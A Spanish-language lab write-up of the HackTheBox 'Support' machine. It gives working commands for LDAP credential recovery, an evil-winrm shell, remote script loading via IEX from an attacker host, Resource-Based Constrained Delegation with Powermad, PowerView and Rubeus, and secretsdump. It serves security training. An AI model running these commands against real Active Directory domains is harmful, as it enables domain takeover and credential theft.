HackTheBox - Support


Creado
HackTheBox - Support

Máquina Windows nivel fácil. AD, decompilado de binarios para encontrar credenciales, saltos con LDAP y una delegación bien linda basada en recursos (Kerberos).

TL;DR (Spanish writeup)

Creada por: 0xdf.

👮 Delegando firmemente.

Nos encontraremos con un entorno de directorio activo. Tendremos una carpeta compartida médiate SMB y en ella un programa .exe que realiza consultas LDAP, lo descompilaremos para ver su código fuente y descubrir credenciales encriptadas, con sencillos pasos tendremos la contraseña del usuario ldap contra el servicio LDAP.

Jugando con esas creds y el servicio LDAP enumeraremos los usuarios del AD, abriendo los ojos veremos un campo llamativo en la info del usuario support, nos servirá como contraseña y las usaremos para entablar una PowerShell mediante la herramienta evil-winrm.

Estando dentro jugaremos con la herramienta BloodHound para ver posibles rutas de escalar en el AD, con esto sabremos que estamos en un grupo algo peligroso. Este grupo nos permite, entre otras cosas, tener control total sobre el DC mediante el permiso GenericAll. Usaremos esta info para realizar un ataque llamado Resource-Based Constrained Delegation para crear computadores que simulen ser el DC y actuar como el usuario Administrator sobre ese nuevo PC.

Clasificación de la máquina según la gentesita

Pasos realistas, ataques realistas, algo de jugueteo manual.

La idea inicial de esta locura es tener mis “notas” por si algun día se me olvida todo (lo que es muuuy probable), leer esto y reencontrarme (o talvez no) 😄 La segunda idea surgio con el tiempo, ya que me di cuenta que esta es una puerta para personitas que como yo al inicio (o simplemente a veces) nos estancamos en este mundo de la seguridad, por lo que si tengo la oportunidad de ayudarlos ¿por qué no hacerlo?

Un detalle es que si ves mucho texto, es por que me gusta mostrar tanto errores como exitos y tambien plasmar todo desde una perspectiva más de enseñanza que de solo pasos a seguir. Sin menos, muchas gracias <3

A recoger la basura, cochinos.

  1. Reconocimiento.
  2. Enumeración.
  3. Explotación.
  4. Escalada de privilegios.

Reconocimiento #

Empezaremos como siempre, vamos a ver qué puertos (servicios) tiene activos la máquina, para ello usaré nmap:

nmap -p- --open -v -Pn -oG initScan 10.10.11.174
Parámetro Descripción
-p- Escanea todos los 65535
–open Solo los puertos que están abiertos
-v Permite ver en consola lo que va encontrando
-Pn Evitamos que la máquina realice ping (sin esto, el escaneo no funciona)
-oG Guarda el output en un archivo con formato grepeable para usar una función extractPorts de S4vitar que me extrae los puertos en la clipboard

Obtenemos muuuchos puertos:

Puerto Descripción
53 DNS: Protocolo para la resolución de dominios, así logramos que una IP deba responder cuando se consulta por su dominio.
88 Kerberos: Protocolo de autenticación.
135 RPC: Este protocolo ayuda a la comunicación entre programas de distintos computadores.
139/445 SMB: Protocolo para compartir información en una red.
389/636/3268/3269 LDAP: Protocolo para interactuar con información guardada en una red.
464 Kerberos Password Change
593 No sabemos muy bien
5985 WinRM: Se usa para ejecutar tareas administrativas sobre una red.
9389 Active Directory Administrative Center
Otros puertos que no interesan

Ya con los puertos en nuestro poder, usaremos nmap de nuevo para validar si sus scripts nos pueden revelar algo más de info y también lo usaremos para ver las versiones de los software alojados en cada puerto.

+ ~ +(Usando la función extractPorts (referenciada antes) podemos copiar rápidamente los puertos en la clipboard, como tenemos varios evitamos tener que escribirlos uno a uno

❱ extractPorts initScan 
[*] Extracting information...

    [*] IP Address: 10.10.11.174
    [*] Open ports: 53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49664,49668,49674,49678,49706,59601,60005

[*] Ports copied to clipboard

)+ ~ +

nmap -p 53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49664,49668,49674,49678,49706,59601,60005 -sC -sV -Pn 10.10.11.174 -oN portScan
Parámetro Descripción
-p Escaneo de los puertos obtenidos
-sC Muestra todos los scripts relacionados con el servicio
-sV Nos permite ver la versión del servicio
-oN Guarda el output en un archivo

Y finalmente podemos destacar:

Puerto Servicio Versión
389 LDAP Microsoft Windows Active Directory LDAP
  • Vemos un dominio: support.htb

De resto poca relevancia, así que de cabeza y sin casco.

Enumeración #

Tenemos muuuchos puertos, yyyy entre esos puertos podemos deducir (por la experiencia que vamos obteniendo) que estamos ante un Domain Controller, por lo tanto, contamos con un entorno de Directorio Activo.

🏬 El objetivo de un Directorio Activo (AD) “es el de definir un conjunto de componentes centralizados que se encargan de almacenar, organizar y distribuir información a las máquinas que hacen parte de una red de ordenadores.” ~ TheHackerWay.

Y un Domain Controller simplemente es un sistema que puede interactuar con la base de datos del AD. Para más info sobre conceptos, cae acá.

Ahora si, metámosle.

Jugamos con carpetas compartidas 📌

Mediante el protocolo SAMBA (puerto 139 y 445) se pueden compartir recursos a través de una red hacia distintos tipos de dispositivos.

Si queremos validar si existen recursos compartidos (y en dado caso acceder a ellos) podemos emplear la herramienta smbclient:

smbclient -L //10.10.11.174 --no-pass
  • -L: Para listar las carpetas compartidas.
  • --no-pass: Evitamos que nos pida credenciales, por lo tanto, es una prueba con creds nulas.

De todas la única extraña (también por la experiencia (y en este caso también porque simplemente es extraña)) es support-tools, de nuevo con smbclient intentemos ahora entrar a esa carpeta:

smbclient //10.10.11.174/support-tools --no-pass

Tamos dentro, listemos su contenido con dir:

Hay varios archivos conocidos, como putty (un SSH free), WireShark (para interceptar paquetes de red), 7-Zip (un compresor de objetos), etc. Pero hay uno un poco llamativo (más que nada por su nombre): UserInfo.exe.zip, descarguémoslo e intentemos ver de que trata:

smb: \> get UserInfo.exe.zip

Ya lo tendríamos en nuestro sistema:

❱ file UserInfo.exe.zip 
UserInfo.exe.zip: Zip archive data, at least v2.0 to extract

Si lo descomprimimos obtenemos:

Antes de intentar ejecutar UserInfo.exe (análisis dinámico) y de incluso mirar a bajo nivel su funcionamiento (análisis estático) usaremos strings para ver que cadenas de texto se exponen y si nos dicen algo:

strings UserInfo.exe

Vemos cadenas algo llamativas (quizás funciones o variables):

Yyy dos cositas relevantes posiblemente:

  • El programa al parecer usó .NET Framework para ser construido (o sea, puede estar escrito en C# o en Visual Basic).
  • Pueda que exista el usuario 0xdf en el sistema al que atacamos, aunque quizás solo sea el usuario del sistema donde se creó el programa, pero lo guardamos por si algo.

Listos. Me llevé el ejecutable a una máquina virtual Windows, active la VPN, agregue el dominio al c:\Windows\System32\drivers\etc\hosts y obtuvimos algunas respuestas al intentar jugar con él, pero nada favorable (ni jugando con LDAP Injection).

El programa se basa en listar información de usuarios.

Así que nada, volvamos a Linux y juguemos a ver si podemos decompilar (tomar el código a bajo nivel de un programa y pasarlo a algo un poco más legible) el .exe.

Explotación #

Lo que encontramos de .Net nos sirve bastante en este punto, sabemos que el programa fue creado o en C# o en Visual Basic, solo nos queda buscar maneras de decompilar un EXE creado en C# (o Visual) usando Linux, si no hay, pues buscamos para Windows y nos apoyamos de la máquina virtual.

Decompilamos EXE de C# en Linux 📌

Buscando en Google algo como decompile c# exe program linux, llegamos a este hilo de Stack Overflow donde se nos enseña una herramienta llamada ILSpy (que funciona para Windows), peeeeero existe (tanto en el hilo como en el repo nos lo dicen) otra herramienta para Mac y Linux basada en ILSpy llamada AvaloniaILSpy (creada por ellos mismos):

Esa es la que usaremos, descargamos el release necesario para nuestro sistema (por lo general es Linux x64) y en el sistema descomprimimos el objeto para finalmente obtener una carpeta llamada artifacts:

unzip Linux.x64.Release.zip
# Nos genera el archivo ILSpy-linux-x64-Release.zip
unzip ILSpy-linux-x64-Release.zip
# Obtenemos artifacts
❱ ls 
artifacts  ILSpy-linux-x64-Release.zip  Linux.x64.Release.zip

Dentro tendremos el binario (ejecutable) que usaremos, llamémoslo:

artifacts/linux-x64/ILSpy

Obtenemos la GUI del objeto:

Ahora solo nos queda cargar el archivo:

  1. En la barra superior damos clic en File.
  2. Después en Open.
  3. Buscamos el objeto UserInfo.exe y damos doble clic.
  4. Listo.

Perfecto, vemos las cadenas de texto que habíamos detallado antes (si eran funciones :P) Pos a echarle un ojo a cada una y ver qué hay de interesante…

El programa en sí realiza consultas LDAP (protocolo para acceder a la información almacenada en una red de directorio activo) en búsqueda de usuarios (lo que ya habíamos deducido), de esa búsqueda encontramos cositas:

El usuario ldap y su contraseña está siendo llamada mediante la función getPassword:

Si nos dirigimos a esa función, vemos:

Y si damos clic en la clase Protected (a la izquierda) ya vemos el código completo de como obtiene la contraseña:

Toma una cadena encriptada (que sería la contraseña), y para desencriptarla usa la llave armando (como Don Armando 🤭 🙃) y unos pasos bien sensuales. Podemos hacer dos cosas, la fácil y la más fácil, haremos las dos (:

  • Copiar el código en un emulador de código C# online, cambiarle cositas para que nos muestre el resultado y ejecutarlo.

    Usaremos: Programiz - CSharp - Online Compiler.

    Le damos un poco de forma para que sea ejecutado sin problemas y obtenemos:

    Vemos una cadena que debe ser la contraseña del usuario ldap.

  • Ahora usemos Python para darle un poquito más de “manualidad” a esta parte.

    Creamos este script: decrypt_ldaPassword.py Y con él obtenemos:

    Así que perfecto, hemos descubierto la contraseña del usuario ldap.

Sabemos que esas creds son (deberían) ser válidas contra el servicio LDAP, probemos:


Credenciales incorrectas:

ldapsearch -x -H ldap://10.10.11.174 -D 'support\ldap' -w 'holaholahola' -s base -b '' namingcontexts

Credenciales correctas:

ldapsearch -x -H ldap://10.10.11.174 -D 'support\ldap' -w '' -s base -b '' namingcontexts

Así que si son válidas (: Probando reutilización de credenciales vemos que también sirven para ingresar con SMB, pero de poco nos sirve, ya que tenemos lo mismo que antes (:

Pos revisemos la info que LDAP nos presenta a ver si encontramos algo llamativo…

Leyendo información mediante LDAP 📌


ldapsearch -x -H ldap://10.10.11.174 -D 'support\ldap' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b 'DC=support,DC=htb'

Con esto listamos toda la data relacionada con el naming context DC=support,DC=htb (o sea, toooodo el DC), peeeero es demasiada, así que vayamos por partes, primero veamos cositas de los usuarios:

ldapsearch -x -H ldap://10.10.11.174 -D 'support\ldap' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b 'CN=Users,DC=support,DC=htb'

También es bastante, pues vamos de a poco revisando a ver queeeee…

En los datos del usuario Support notamos algo «llamativamente» credencial :P, ¿lo ves?

Hay un campo llamado info con una cadena de texto algo rara, con toda la pinta de una contraseña, pues podemos probar a ver si en verdad lo es:

Y con winrm también son válidas (el mismo comando de arriba solo que cambiando smb por winrm), esto nos recuerda que existe una herramienta llamada evil-winrm:

La cual aprovecha el servicio WinRM (Windows Remote Management es un protocolo que permite que distintos operadores de hardware y software tengan acceso entre ellos, esto para hacer la vida más fácil a los administradores) para entre otras cosas generarnos una PowerShell (pues siempre y cuando tengamos credenciales y acceso a ese servicio (que corre sobre el puerto 5985 y con SSL por el puerto 5986)…

Seguimos algún método de instalación listado acá y ejecutamos:

evil-winrm -i 10.10.11.174 -u 'support' -p 'Ironside47pleasure40Watchful'

TENEMOS LA TERMINAAAAAAAL y somos el usuario support dentro del sistema (si nos fijamos estamos sobre dc, o sea: dc.support.htb)!!

Veamos como podemos seguir con esta vaina y volvernos los Admins (:

Escalada de privilegios #

Enumerando los toda la info del usuario que tenemos, vemos:

whoami /all

Hay algún que otro grupo llamativo, pero el relevante puede llegar a ser:

  • SUPPORT\Shared Support Accounts

Ya que es un grupo creado y no por default del sistema y además al parecer tiene relación con la carpeta compartida del principio, por ahora sigamos enumerando.

Teniendo en cuenta que estamos en un DC (y jugando con info de un directorio activo) podemos hacer uso de una tool para gráficamente ver que posibles rutas o relaciones extrañas entre grupos y usuarios existen en un entorno de directorio activo, su descripción nos define mejor el uso:

🐕 “BloodHound uses graph theory to reveal the hidden and often unintended relationships within an Active Directory or Azure environment. Attackers can use BloodHound to easily identify highly complex attack paths that would otherwise be impossible to quickly identify.” ~ Bloodhound.

Para poder usarla debemos contar con el servicio neo4j, así que siguiendo su guía ya podríamos tener la última versión estable.

Es probable que instales primero bloodhound, ese proceso descargara neo4j en X version, lo cual a veces causa problemas de compatibilidad, por lo que te recomiendo descargar cada uno por aparte.

Ahora si, a sacar a pasear al perro.

Sacando al BloodHound para oler cosas raras 📌

Como root ejecutamos neo4j:

neo4j console

Nos dirigimos al link donde ha sido lanzado y está corriendo el neo4j, nos logeamos con las credenciales que trae por default: neo4j : neo4j y después nos pedirá cambiar la contraseña, asignamos una nueva.

Y en otra consola ejecutamos el BloodHound (yo tuve problemas de compatibilidad y descargué los releases):

./BloodHound --no-sandbox

Y ahí colocamos las nuevas credenciales para finalmente obtener algo como esto:

Lo que nos falta ahora es la data que BloodHound debe procesar, para ello vamos a emplear algo llamado Ingestor, que simplemente son maneras de extraer la data del directorio activo.

Como contamos con credenciales válidas contra el DC, podemos aprovechar otra herramienta:

Un Ingestor remoto, así no tenemos que subir archivos al sistema para después lo extraído moverlo al nuestro y blablabla, acá es más directo. Clonamos el repo y lo usaremos así:

git clone https://github.com/fox-it/BloodHound.py.git
mkdir files_bloodhound
cd !$
python3 ../BloodHound.py/bloodhound.py -c All -u support -p 'Ironside47pleasure40Watchful' -ns 10.10.11.174 -d support.htb

Ahora, vamos a BloodHound, en la parte de la derecha buscamos un botón que diga Upload Data, damos clic, buscamos los archivos recién generados con el Ingestor, los cargamos, esperamos yyyyyy deberíamos ver estos campos ya con datos:

Nos apoyaremos mucho de ese menú a la izquierda.

BloodHound brinda un montón de rutas a enumerar:

Después de revisar cada uno no vemos cosas relevantes, así que cambiaremos el enfoque y usando la barra que dice Search for a node vamos a buscar al usuario SUPPORT@SUPPORT.HTB, finalmente haremos otro clic sobre él para encontrar información detallada:

Revisando el apartado Group Delegated Object Control vemos algo que ya conocemos:

El usuario support es miembro del grupo Shared Support Accounts y ese grupo tiene seteado el privilegio GenericAll sobre el computador DC.SUPPORT.HTB (o sea, toooda la máquina que estamos atacando) :O

Pero ¿qué es ese privilegio y por qué reaccionamos así :O? Apoyados de BloodHound dando clic derecho sobre GenericAll y en ? Help vemos:

Control TOTAL. Este privilegio permite MANIPULAR el objetivo COMO el usuario QUIERA!

Ojitooooo, tendemos control total contra el DC :O

PERO CLARO, realmente hay que hacer cositas para aprovechar ese «control total», en el mismo apartado ? Help revisamos Abuse Info para que nos cuente que ataque deberíamos probar o que averiguar:

La idea es realizar un ataque llamado resource based constrained delegation, ¿qué jeso?

Resource Based Constrained Delegation 📌

La “delegación” ha sido un feature agregado por Microsoft como parte de los entornos de directorio activo a mediados de los 2000. Esto como opcion para los Domain Admins, ya que a veces se requiere o se quiere usar una cuenta no administrativa para que gestione o controle una porción del directorio activo. Entonces se “delega” a ese usuario alguna tarea/accion/permiso.

Hay 3 tipos (Unconstrained, Constrained and Resource-Based Constrained), pero nos enfocaremos en la última: RBCD.

Esta delegación permite ser configurada no a un usuario, si no a un servicio o recurso especifico (en nuestro caso un grupo) y es implementada usando (configurando) el objeto msDS-AllowedToActOnBehalfOfOtherIdentity.

La cosa es que debido a malas prácticas, configuraciones extrañas y demás despistes, este feature puede ser explotado para hacernos pasar por otro usuario y escalar privilegios.

🔥 El enfoque de la explotación será el siguiente, crear un computador, hacer que ese computador sea asignado al DC para posteriormente permitir la autenticación usando RBCD, después el computador creado actuara como si fuera el DC y finalmente generaremos un ST (Service Ticket) para autenticarnos (hacernos pasar) como el usuario Administrator contra el computador que creamos (que realmente sería el DC).

Les dejo algunos recursos que use para lo que viene:

  1. Hacking Articles : Resource-Based Constrained Delegation.
  2. Guide Point : Resource-Based Constrained Delegation.
  3. GitHub/S1ckB0y1337 : Resource Based Constrained Delegation.

Y en el que más me apoye fue en la data obtenida por BloodHound

A darle!

Vamos a necesitar 3 objetos para hacerlo más didáctico:

Los dos scripts de PowerShell contienen funciones que usaremos, por lo que necesitamos indicarle al entorno que importe todas las funciones, podemos hacerlo de dos formas:

  1. Subir el script y ejecutar . .\OBJETO.ps1 o Import-Module .\OBJETO.ps1.
  2. Mediante la función Invoke-Expression llamar desde un servidor externo el contenido de un script y que sea cargado sin tener que alojar el archivo en el sistema. Usaremos esta opción

Levantamos servidor web donde están alojados los archivos:

python3 -m http.server

Y en la PowerShell:

IEX(New-Object Net.WebClient).downloadString('http://10.10.14.92:8000/PowerView.ps1')
IEX(New-Object Net.WebClient).downloadString('http://10.10.14.92:8000/Powermad.ps1')

Ya estarían cargadas las funciones de cada script en nuestro entorno de trabajo, la tarea es averiguar como subir Rubeus.exe (:

1️⃣ Creamos computador (esta es la única función de Powermad, las demás son de PowerView):

New-MachineAccount -MachineAccount esteesminuevopc -Password $(ConvertTo-SecureString 'esta3sl@pass' -AsPlainText -Force)

2️⃣ Extraemos el identificador (Security Identifier (SID)) de la máquina creada:

$ComputerSid = Get-DomainComputer esteesminuevopc -Properties objectsid | Select -Expand objectsid

3️⃣ Necesitamos crear una entrada de acceso genérica (ACE) para asignar permisos sobre el nuevo computador, así mismo extraeremos los bytes de ese entry:


$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)

4️⃣ Configuramos el campo msDS-AllowedToActOnBehalfOfOtherIdentity en el computador objetivo (o sea, el DC) para que nuestro computador pueda actuar como él, ya que le pasaremos los bytes extraídos:

Get-DomainComputer dc | Set-DomainObject -Set @{'msDS-AllowedToActOnBehalfOfOtherIdentity'=$SDBytes}

5️⃣ Usaremos Rubeus.exe para generar un hash con el algoritmo RC4_HMAC que usaremos ahorita:

.\Rubeus.exe hash /password:esta3sl@pass
# alternativa
❱ python3
>>> import hashlib
>>> print(hashlib.new('md4', 'esta3sl@pass'.encode('utf-16le')).hexdigest())

6️⃣ Generaremos un Service Ticket el cual, como su nombre indica, permite el acceso a los servicios de una aplicación, que en este caso será a los archivos del sistema del DC.

Las extensiones S4U (Service for User) permiten a un servicio obtenr un ticket en Kerberos en nombre de un usuario.

.\Rubeus.exe s4u /user:esteesminuevopc$ /rc4:dc2d7e8252c461ee9dc0cf6b7766ad36 /impersonateuser:Administrator /msdsspn:cifs/dc.support.htb /ptt

Si todo va bien debemos ver 3 tickets y el último será el que nos permitirá actuar como otro usuario:

7️⃣ Copiamos el ticket (toda la cadena en base64) y creamos un archivo en nuestro sistema con ese contenido, después le quitamos los espacios y saltos de línea, para guardarlo en otro archivo donde reamente tendremos el ticket ya decodeado:

cat ticket_b64 | tr -d ' ' | tr -d '\n' | base64 -d > ticket.kirbi

8️⃣ Emplearemos algunas herramientas del repositorio impacket, en este caso ticketConverter.py, con ella debemos convertirlo a .ccache, ya que nuestro sistema no soporta kirbi.

ticketConverter.py ticket.kirbi ticket.ccache

9️⃣ Seteamos la variable de entorno KRB5CCNAME que es la que guarda los tickets usados para realizar autenticaciones mediante kerberos.

export KRB5CCNAME=ticket.ccache

🔟 Generamos una sesión en el sistema mediante psexex.py, wmiexec.py o smbexec.py.

psexec.py -k -no-pass support.htb/Administrator@dc.support.htb -dc-ip 10.10.11.174
smbexec.py -k -no-pass support.htb/Administrator@dc.support.htb -dc-ip 10.10.11.174
wmiexec.py -k -no-pass support.htb/Administrator@dc.support.htb -dc-ip 10.10.11.174

ajsdlkfjlñaksdfjklajsd, sí sabrás:

ESTAMOS EN EL SISTEMA COMO EL USUARIO Administrator (: Aprovechándonos de un grupo con permisos GenericAll sobre el DC! (Además, con 3 terminales ;))

Acá las flags:

Con secretsdump.py podremos ver cositas llamativas, ya queda en ti averiguar para que son…

secretsdump.py -k -no-pass support.htb/Administrator@dc.support.htb -dc-ip 10.10.11.174

¡Una máquina brutal, bien llevada y con ataques interesantes!

Nos vamos viendo mi gente, como siempre la frustración se querrá apoderar de nosotros, pero nada de eso, pa’ lante que estamos trabajando por nosotros, así que a seguir rompiendo de todo!

Lanz

Lanz

Holap, simplemente quiero compartir contigo mis notas y que quizás, las tomes como apoyo. Este mundo es un camino raro, complicado a veces, pero divertido, diviertete (: (y entiende que estas haciendo :P)

Comments

comments powered by Disqus